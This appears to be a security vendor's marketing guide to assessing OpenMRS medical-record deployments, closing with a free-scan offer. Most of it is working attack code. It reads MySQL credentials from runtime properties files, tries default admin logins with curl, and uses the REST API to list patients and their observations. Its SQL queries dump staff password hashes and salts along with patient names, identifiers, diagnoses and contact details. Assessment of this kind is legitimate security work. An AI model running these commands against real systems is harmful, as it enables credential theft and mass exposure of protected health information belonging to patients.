OpenMRS is the leading open-source electronic medical records system, deployed by thousands of healthcare facilities across low- and middle-income countries, as well as by major global health organizations. Key assessment areas: openmrs-runtime.properties exposes MySQL credentials; admin/Admin123 is a well-known default; the REST API uses token-based authentication; and the patient database contains highly sensitive Protected Health Information (PHI) including diagnoses, lab results, and medication records. This guide covers systematic OpenMRS security assessment.
# OpenMRS — openmrs-runtime.properties MySQL credential extraction
OPENMRS_URL="https://openmrs.example.com"
# openmrs-runtime.properties — MySQL database credentials
# Default location: ~/.OpenMRS/openmrs-runtime.properties
# or: /usr/share/tomcat9/.OpenMRS/openmrs-runtime.properties
for PROPS_PATH in \
"/root/.OpenMRS/openmrs-runtime.properties" \
"/home/tomcat/.OpenMRS/openmrs-runtime.properties" \
"/usr/share/tomcat9/.OpenMRS/openmrs-runtime.properties" \
"/opt/tomcat/.OpenMRS/openmrs-runtime.properties"; do
if [ -f "${PROPS_PATH}" ]; then
echo "=== ${PROPS_PATH} ==="
grep -E "connection.username|connection.password|connection.url" \
"${PROPS_PATH}" 2>/dev/null
fi
done
# connection.url=jdbc:mysql://localhost:3306/openmrs?...
# connection.username=openmrs
# connection.password=... <-- MySQL password (CRITICAL)
# Test default admin credentials
for CRED in "admin:Admin123" "admin:admin" "admin:Admin1234" "daemon:daemon"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${OPENMRS_URL}/openmrs/ms/withoutsession" \
--user "${USER}:${PASS}" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Check REST API basic auth
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${OPENMRS_URL}/openmrs/ws/rest/v1/session" \
--user "admin:Admin123" 2>/dev/null)
echo "REST API admin/Admin123: HTTP ${STATUS}"
# OpenMRS REST API — token and admin credential assessment
OPENMRS_URL="https://openmrs.example.com"
# OpenMRS REST API v1 — session token authentication
# Step 1: Get session token with Basic auth
SESSION=$(curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/session" \
--user "admin:Admin123" \
-H "Content-Type: application/json" 2>/dev/null)
echo "${SESSION}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Session ID: {d.get(\"sessionId\")}')
print(f'Authenticated: {d.get(\"authenticated\")}')
u=d.get('user',{})
print(f'Username: {u.get(\"username\")}')
print(f'System ID: {u.get(\"systemId\")}')
" 2>/dev/null
SESSION_ID=$(echo "${SESSION}" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('sessionId',''))
" 2>/dev/null)
# List all patients (PHI exposure)
curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/patient?limit=50&v=full" \
-H "Cookie: JSESSIONID=${SESSION_ID}" \
--user "admin:Admin123" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
results=d.get('results',[])
print(f'Patients returned: {len(results)}')
for p in results[:3]:
person=p.get('person',{})
name_list=person.get('names',[{}])
n=name_list[0] if name_list else {}
print(f' {n.get(\"givenName\")} {n.get(\"familyName\")} | DOB: {person.get(\"birthdate\")} | Gender: {person.get(\"gender\")}')
" 2>/dev/null
# List medical observations for a patient
PATIENT_UUID="target-patient-uuid"
curl -s "${OPENMRS_URL}/openmrs/ws/rest/v1/obs?patient=${PATIENT_UUID}&limit=50" \
-H "Cookie: JSESSIONID=${SESSION_ID}" \
--user "admin:Admin123" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
obs=d.get('results',[])
print(f'Observations: {len(obs)}')
for o in obs[:5]:
print(f' {o.get(\"concept\",{}).get(\"display\")} = {o.get(\"value\")} ({o.get(\"obsDatetime\")}')
" 2>/dev/null
# OpenMRS MySQL database — patient PHI, medical observation, and encounter extraction
DB_PASS="extracted-db-password"
mysql -u openmrs -p"${DB_PASS}" openmrs 2>/dev/null << 'EOF'
-- OpenMRS users with password hashes
SELECT u.user_id, u.username, u.password, u.salt,
u.system_id, u.date_created, u.date_last_login
FROM users u
WHERE u.voided = 0
ORDER BY u.user_id
LIMIT 20;
-- password: SHA-512 with salt: SHA512(SHA512(salt) + SHA512(password))
-- Patient PHI (person table)
SELECT per.person_id, per.gender, per.birthdate,
pn.given_name, pn.family_name, pn.middle_name,
per.birthdate_estimated, per.dead, per.death_date
FROM person per
JOIN person_name pn ON pn.person_id = per.person_id
WHERE per.voided = 0 AND pn.voided = 0 AND pn.preferred = 1
ORDER BY per.person_id
LIMIT 20;
-- Patient identifiers (medical record numbers, national IDs)
SELECT pi.patient_id, pi.identifier,
pit.name as identifier_type,
pn.given_name, pn.family_name
FROM patient_identifier pi
JOIN patient_identifier_type pit ON pit.patient_identifier_type_id = pi.identifier_type
JOIN person_name pn ON pn.person_id = pi.patient_id
WHERE pi.voided = 0 AND pn.preferred = 1
ORDER BY pi.patient_id
LIMIT 20;
-- Medical observations (lab results, vitals, diagnoses)
SELECT o.obs_id, o.person_id,
c.name as concept_name,
o.value_numeric, o.value_text, o.value_coded,
o.obs_datetime, o.comments,
pn.given_name, pn.family_name
FROM obs o
JOIN concept_name c ON c.concept_id = o.concept_id
JOIN person_name pn ON pn.person_id = o.person_id
WHERE o.voided = 0 AND c.voided = 0 AND pn.preferred = 1
ORDER BY o.obs_datetime DESC
LIMIT 20;
-- Patient contact information
SELECT pa.person_id, pa.value,
pat.name as attribute_type,
pn.given_name, pn.family_name
FROM person_attribute pa
JOIN person_attribute_type pat ON pat.person_attribute_type_id = pa.person_attribute_type_id
JOIN person_name pn ON pn.person_id = pa.person_id
WHERE pa.voided = 0
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| admin/Admin123 default credential test | POST /openmrs/ws/rest/v1/session Basic auth — session token; full access to all patient PHI, medical records, clinical data, user management | Critical |
| openmrs-runtime.properties MySQL connection.password extraction | Read ~/.OpenMRS/openmrs-runtime.properties — database credentials for all patient records, medical observations, and user hashes | Critical |
| REST API patient PHI enumeration | GET /openmrs/ws/rest/v1/patient?limit=50 with admin session — patient names, birthdates, gender; full medical record access at admin permission level | High |
| obs table medical observation extraction | MySQL SELECT from obs JOIN concept_name — all medical observations including lab results, vitals, diagnoses for all patients; HIPAA/GDPR-sensitive health data | High |
| users table SHA-512+salt password hash extraction | MySQL SELECT password, salt FROM users — SHA-512 hashes for all clinical staff accounts; admin account compromise enables full EMR access | High |
Ironimo tests OpenMRS deployments for admin/Admin123 and daemon/daemon default credential testing at /openmrs/ws/rest/v1/session, openmrs-runtime.properties MySQL connection.password extraction, REST API /openmrs/ws/rest/v1/patient unauthenticated or weak-auth patient PHI enumeration, obs table medical observation (lab results, diagnoses) access, person_name and person_identifier patient PHI extraction, users table SHA-512+salt password hash extraction, person_attribute contact information enumeration, OpenMRS module inventory and unused module audit, REST API authentication bypass assessment, and OpenMRS version disclosure for CVE targeting.
Start free scan